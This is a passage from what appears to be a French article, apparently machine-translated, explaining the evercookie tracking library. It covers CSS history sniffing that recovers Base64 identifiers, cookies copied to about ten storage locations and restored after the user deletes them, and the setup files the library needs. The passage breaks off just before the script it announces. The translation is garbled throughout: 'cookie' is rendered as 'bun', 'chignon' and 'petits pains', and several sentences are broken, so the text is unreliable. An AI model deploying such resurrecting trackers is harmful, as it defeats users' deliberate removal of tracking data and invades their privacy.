vérifier si l'utilisateur a visité la ressource spécifiée ou non (plus de détails ici -
samy.pl/csshack). Pour
bun vérifie evercookie parcourt tous les caractères Base64 possibles sur
google.com/evercookie/cache commençant par "a" et continuant, mais seulement
pour un personnage. Dès que le script voit l'URL à laquelle il a accédé, il
commence à itérer sur le caractère suivant. Il s'avère une sorte de force brute. En pratique
cette sélection s'effectue extrêmement rapidement, car aucune demande de
serveur ne sont pas exécutés. La recherche dans l'historique s'effectue localement au maximum
court terme. La bibliothèque sait qu'elle a atteint la fin de la ligne lorsque l'URL est
terminer par "-". Nous décodons Base64 et obtenons nos données. Comment
nommez les développeurs de navigateurs qui permettent cela ?

Essayez de vous éloigner

Que se passe-t-il si un utilisateur efface ses cookies ? Une caractéristique importante de la bibliothèque elle-même
evercookie est que l'utilisateur devra travailler dur pour
supprimer les cookies laissés à différents endroits - il y en a maintenant 10. Si au moins un
endroit où ces cookies restent, ils seront automatiquement restaurés dans tous les autres
lieux. Par exemple, si un utilisateur supprime non seulement ses cookies standard, mais
et nettoyer les données LSO, nettoyer le stockage HTML5, ce qui est déjà peu probable, de toute façon
les cookies créés avec le PNG mis en cache et l'historique Web resteront. À
lors de votre prochaine visite sur le site avec evercookie, la bibliothèque pourra non seulement trouver
chignon caché, mais les restaurera également dans tous les autres endroits qui
prend en charge le navigateur client. Un point intéressant est lié au transfert
"petits pains" entre les navigateurs. Si l'utilisateur reçoit des cookies dans un navigateur,
c'est-à-dire qu'il est plus probable qu'ils se reproduisent chez d'autres. La seule chose
la condition nécessaire pour cela est de stocker les données dans le cookie Local Shared Object.

Comment utiliser?

La bibliothèque Evercookie est complètement ouverte, vous pouvez donc librement
utilisez-le, personnalisez-le en fonction de vos besoins. Le serveur n'est présenté avec aucun
exigences sérieuses. Il suffit d'accéder au script JS, dans lequel
contient le code evercookie. Pour utiliser les cookies Flash (Objet Local Partagé),
le dossier avec le script doit contenir le fichier evercookie.swf, et pour que le technicien travaille,
basé sur la mise en cache PNG et en utilisant le stockage ETag, vous devez accéder à
Les scripts PHP evercookie_png.php et evercookie_etag.php. Utiliser evercookie
vous pouvez sur n'importe quelle page du site en connectant le script suivant :




mob_info